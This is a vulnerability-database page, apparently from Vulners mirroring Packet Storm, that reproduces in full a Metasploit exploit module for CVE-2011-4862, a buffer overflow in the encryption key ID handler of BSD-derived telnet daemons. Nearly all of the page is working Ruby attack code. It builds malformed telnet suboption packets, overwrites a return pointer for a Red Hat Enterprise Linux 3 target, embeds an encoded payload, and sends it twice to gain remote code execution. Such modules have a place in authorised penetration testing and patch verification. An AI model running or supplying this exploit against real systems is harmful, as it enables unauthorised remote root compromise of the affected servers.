Lucene search
K

Linux BSD-derived Telnet Service Encyption Key ID Buffer Overflow

🗓️ 28 Dec 2011 00:00:00Reported by metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 99 Views

Linux BSD-derived Telnet Service Encyption Key ID Buffer Overflow exploi

Related
Code
`##  
# $Id: $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Telnet  
include Msf::Exploit::BruteTargets  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Linux BSD-derived Telnet Service Encyption Key ID Buffer Overflow',  
'Description' => %q{   
This module exploits a buffer overflow in the encryption option handler of the  
Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions  
use NetKit-derived telnet daemons, so this flaw only applies to a small subset of  
Linux systems running telnetd.  
},  
'Author' => [ 'Jaime Penalba Estebanez <jpenalbae[at]gmail.com>', 'Brandon Perry', 'Dan Rosenberg', 'hdm' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['BID', '51182'],  
['CVE', '2011-4862'],  
['URL', 'http://www.exploit-db.com/exploits/18280/']  
],  
'Privileged' => true,  
'Platform' => 'linux',  
'Payload' =>  
{  
'Space' => 200,  
'BadChars' => "\x00",  
'DisableNops' => true,  
},  
  
'Targets' =>  
[  
[ 'Automatic', { } ],   
[ 'Red Hat Enterprise Linux 3 (krb5-telnet)', { 'Ret' => 0x0804b43c } ],  
  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => ''))  
end  
  
def exploit_target(t)  
  
connect  
banner_sanitized = Rex::Text.to_hex_ascii(banner.to_s)  
print_status(banner_sanitized) if datastore['VERBOSE']  
  
enc_init = "\xff\xfa\x26\x00\x01\x01\x12\x13\x14\x15\x16\x17\x18\x19\xff\xf0"  
enc_keyid = "\xff\xfa\x26\x07"  
end_suboption = "\xff\xf0"  
  
penc = payload.encoded.gsub("\xff", "\xff\xff")  
  
key_id = Rex::Text.rand_text_alphanumeric(400)  
  
key_id[ 0, 2] = "\xeb\x76"  
key_id[72, 4] = [ t['Ret'] - 20 ].pack("V")  
key_id[76, 4] = [ t['Ret'] ].pack("V")   
  
# Some of these bytes can get mangled, jump over them  
key_id[80,40] = "\x41" * 40  
  
# Insert the real payload  
key_id[120, penc.length] = penc  
  
# Create the Key ID command  
sploit = enc_keyid + key_id + end_suboption  
  
# Initiate encryption  
sock.put(enc_init)  
  
# Wait for a successful response  
loop do  
data = sock.get_once(-1, 5) rescue nil  
if not data  
raise RuntimeError, "This system does not support encryption"  
end  
break if data.index("\xff\xfa\x26\x02\x01")  
end  
  
# The first request smashes the pointer  
print_status("Sending first payload")  
sock.put(sploit)   
  
# Make sure the server replied to the first request  
data = sock.get_once(-1, 5)  
unless data  
print_status("Server did not respond to first payload")  
return  
end  
  
# Some delay between each request seems necessary in some cases  
::IO.select(nil, nil, nil, 0.5)  
  
# The second request results in the pointer being called  
print_status("Sending second payload...")  
sock.put(sploit)  
handler  
  
::IO.select(nil, nil, nil, 0.5)  
disconnect  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Dec 2011 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.92585
99